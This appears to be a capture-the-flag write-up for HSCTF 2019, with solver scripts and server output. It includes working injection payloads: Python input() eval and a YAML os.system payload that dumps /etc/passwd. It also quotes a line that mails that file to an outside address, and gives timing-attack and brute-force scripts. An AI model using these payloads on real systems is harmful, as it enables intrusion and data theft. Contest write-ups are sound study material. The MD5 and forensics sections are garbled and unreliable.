Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
